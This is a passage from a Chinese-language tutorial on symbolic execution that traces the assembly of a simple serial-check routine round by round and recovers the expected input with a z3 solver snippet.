ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi                  <- Point\n\nSymbolic Expression :\n\np0 = var_10\np1 = var_14\np2 = *(add(p0,p1)) (control)\np3 = sub(p2,1)\np4 = xor(p3,0x55)\np5 = _serial\np6 = var_14\np7 = *(add(p5,p6))\n\nRegister Reference Table :\n\nRAX : p5\nRBX : -1\nRCX : p6\nRDX : p4\nRSI : p7\nRDI : -1\n\n```\n\n  在执行到第九步时,指令`cmp edx, esi` 会把edx 和esi 的值进行对比,于是我们根据寄存器布局来构造求解公式:\n\n```txt\n\nRDX = p4 = xor(p3,0x55) = xor(sub(p2,1),0x55) = xor(sub(*(add(p0,p1),1),0x55)) = xor(sub(*(add(var_10,var_14),1),0x55))\nRSI = p7 = *(add(p5,p6)) = *(add(_serial,var_14))\n\n(RDX == RSI) => (xor(sub(*(add(var_10,var_14),1),0x55)) == *(add(_serial,var_14)))\n\n```\n\n  在此先忽略`*(add(var_10,var_14)` 和`*(add(_serial,var_14)))` ,因为这是获取内存,后面再讨论.我们先假定一个未知值X (可控输入)和已知值(_serial 中的字符值)进行公式重组,约束如下.\n\n```txt\n\n(RDX == RSI) => (xor(sub(X,1),0x55) == 0x31)\n\n```\n\n  用z3 求解方式的代码:\n\n```python\n\nfrom z3 import *\n\n\nx = BitVec('x',8)\nsolver = Solver()\n\nsolver.add((x - 1) ^ 0x55 == 0x31)\nsolver.check()\n\nprint solver.model()\n\n```\n\n  执行结果如下:\n\n![](pic7/pic3.png)\n\n  在对寄存器求解的过程中,我们发现var_10,var_14,_serial 都是从内存中获取到的数据,但是具体数据是什么我们不得而知,所以还需要对进行内存布局,再进行求解\n\n```txt\n\nCode :\n\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi                  <- Point\n\nSymbolic Expression :\n\np0 = var_10\np1 = var_14\np2 = *(add(p0,p1)) (control)\np3 = sub(p2,1)\np4 = xor(p3,0x55)\np5 = _serial\np6 = var_14\np7 = *(add(p5,p6))\n\nRegister Reference Table :\n\nRAX : p5\nRBX : -1\nRCX : p6\nRDX : p4\nRSI : p7\nRDI : -1\n\nMemory Reference Table :\n\nvar_14         : 0  #  假定为0\nvar_10_buffer  : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]  #  未初始化为-1\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n```\n\n  对于var_10 的第一个结果,我们的求解思路如下:\n\n```txt\n\n(RDX == RSI) => (xor(sub(*(add(var_10,var_14),1),0x55)) == *(add(_serial,var_14))) => (xor(sub(var_10_buffer_0,1),0x55)) == _serial_buffer_0)) => (xor(sub(x0,1),0x55)) == 0x31\n\n```\n\n  继续分析程序,汇编代码如下:\n\n```assembly\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\n```\n\n  我们可以看到,rdi 是可控的输入,var_14 是0 ,然后继续进行分析:\n\n```txt\n\n(Round1)\n\nCode :\n\nmov     [rbp+var_10], rdi         <- Point\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\n\nRegister Reference Table :\n\nRAX : -1\nRBX : -1\nRCX : -1\nRDX : -1\nRSI : -1\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : -1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round2)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0           <- Point\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\n\nRegister Reference Table :\n\nRAX : -1\nRBX : -1\nRCX : -1\nRDX : -1\nRSI : -1\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round3)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]         <- Point\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\n\nRegister Reference Table :\n\nRAX : p2\nRBX : -1\nRCX : -1\nRDX : -1\nRSI : -1\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round4)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]         <- Point\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\n\nRegister Reference Table :\n\nRAX : p2\nRBX : -1\nRCX : p3\nRDX : -1\nRSI : -1\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round5)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]   <- Point\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\n\nRegister Reference Table :\n\nRAX : p2\nRBX : -1\nRCX : p3\nRDX : p4\nRSI : -1\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round6)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1                    <- Point\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\n\nRegister Reference Table :\n\nRAX : p2\nRBX : -1\nRCX : p3\nRDX : p5\nRSI : -1\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round7)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h                  <- Point\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\n\nRegister Reference Table :\n\nRAX : p2\nRBX : -1\nRCX : p3\nRDX : p6\nRSI : -1\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round8)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial           <- Point\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\n\nRegister Reference Table :\n\nRAX : p7\nRBX : -1\nRCX : p3\nRDX : p6\nRSI : -1\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round9)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]         <- Point\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\n\nRegister Reference Table :\n\nRAX : p7\nRBX : -1\nRCX : p8\nRDX : p6\nRSI : -1\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round10)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]   <- Point\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\n\nRegister Reference Table :\n\nRAX : p7\nRBX : -1\nRCX : p8\nRDX : p6\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round11)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi                  <- Point ,Check EDX and ESI ..\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\n\nRegister Reference Table :\n\nRAX : p7\nRBX : -1\nRCX : p8\nRDX : p6\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n```\n\n  我们对`cmp edx, esi` 进行组合,结果如下:\n\n```txt\n\n(RDX == RSI) => (p6 == p9) => (xor(sub(*(add(p0,p1)),1),0x55) == (*(add(_serial,p1)))) => (xor(sub(*(add(rdi,0)),1),0x55) == (*(add(_serial,0)))) => (xor(sub(*(add(rdi,0)),1),0x55) == (0x31)) => (xor(sub(X1,1),0x55) == (0x31))\n\n```\n\n  接下来我们继续往下执行.\n\n```txt\n\n(Round12)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1            <- Point\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\n\nRegister Reference Table :\n\nRAX : p7\nRBX : -1\nRCX : p8\nRDX : p6\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round13)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]         <- Point\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\n\nRegister Reference Table :\n\nRAX : p11\nRBX : -1\nRCX : p8\nRDX : p6\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round14)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1                    <- Point\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\n\nRegister Reference Table :\n\nRAX : p12\nRBX : -1\nRCX : p8\nRDX : p6\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p1\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round15)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax         <- Point\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\n\nRegister Reference Table :\n\nRAX : p12\nRBX : -1\nRCX : p8\nRDX : p6\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round16)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]         <- Point\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\np14 = p0\n\nRegister Reference Table :\n\nRAX : p14\nRBX : -1\nRCX : p8\nRDX : p6\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round17)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]         <- Point\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\np14 = p0\np15 = p13\n\nRegister Reference Table :\n\nRAX : p14\nRBX : -1\nRCX : p15\nRDX : p6\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round18)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]   <- Point\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\np14 = p0\np15 = p13\np16 = *(add(p14,p15))\n\nRegister Reference Table :\n\nRAX : p14\nRBX : -1\nRCX : p15\nRDX : p16\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round19)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1                    <- Point\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\np14 = p0\np15 = p13\np16 = *(add(p14,p15))\np17 = sub(p16,1)\n\nRegister Reference Table :\n\nRAX : p14\nRBX : -1\nRCX : p15\nRDX : p17\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round20)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h                  <- Point\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\np14 = p0\np15 = p13\np16 = *(add(p14,p15))\np17 = sub(p16,1)\np18 = xor(p17,0x55)\n\nRegister Reference Table :\n\nRAX : p14\nRBX : -1\nRCX : p15\nRDX : p18\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round21)\n\nCode :\n\nmov  